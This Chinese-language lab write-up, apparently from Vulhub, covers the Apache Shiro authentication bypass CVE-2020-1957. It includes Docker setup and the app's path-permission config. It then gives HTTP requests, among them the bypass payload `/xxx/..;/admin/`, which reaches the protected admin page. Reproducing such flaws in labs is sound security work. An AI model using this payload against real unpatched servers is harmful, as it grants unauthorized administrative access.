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70 lines
2.1 KiB
Markdown
70 lines
2.1 KiB
Markdown
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# Apache Shiro 认证绕过漏洞 CVE-2020-1957
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## 漏洞描述
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Apache Shiro是一款开源安全框架，提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用，同时也能提供健壮的安全性。
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在Apache Shiro 1.5.2以前的版本中，在使用Spring动态控制器时，攻击者通过构造`..;`这样的跳转，可以绕过Shiro中对目录的权限限制。
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参考链接：
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- https://github.com/apache/shiro/commit/3708d7907016bf2fa12691dff6ff0def1249b8ce#diff-98f7bc5c0391389e56531f8b3754081aL139
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- https://xz.aliyun.com/t/8281
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- https://blog.spoock.com/2020/05/09/cve-2020-1957/
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## 环境搭建
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Vulhub执行如下命令启动一个搭载Spring 2.2.2与Shiro 1.5.1的应用：
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```
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docker-compose up -d
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```
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环境启动后，访问`http://your-ip:8080`即可查看首页。
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这个应用中对URL权限的配置如下：
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```
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@Bean
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public ShiroFilterChainDefinition shiroFilterChainDefinition() {
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DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
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chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
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chainDefinition.addPathDefinition("/logout", "logout");
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chainDefinition.addPathDefinition("/admin/**", "authc");
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return chainDefinition;
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}
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```
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## 漏洞复现
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直接请求管理页面`/admin/`，无法访问，将会被重定向到登录页面：
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```
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GET /admin HTTP/1.1
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Host: your-vps-ip:8080
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
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Accept: */*
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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Connection: close
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```
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构造恶意请求`/xxx/..;/admin/`，即可绕过权限校验，访问到管理页面：
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```
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GET /xxx/..;/admin/ HTTP/1.1
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Host: your-vps-ip:8080
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
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Accept: */*
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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Connection: close
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```
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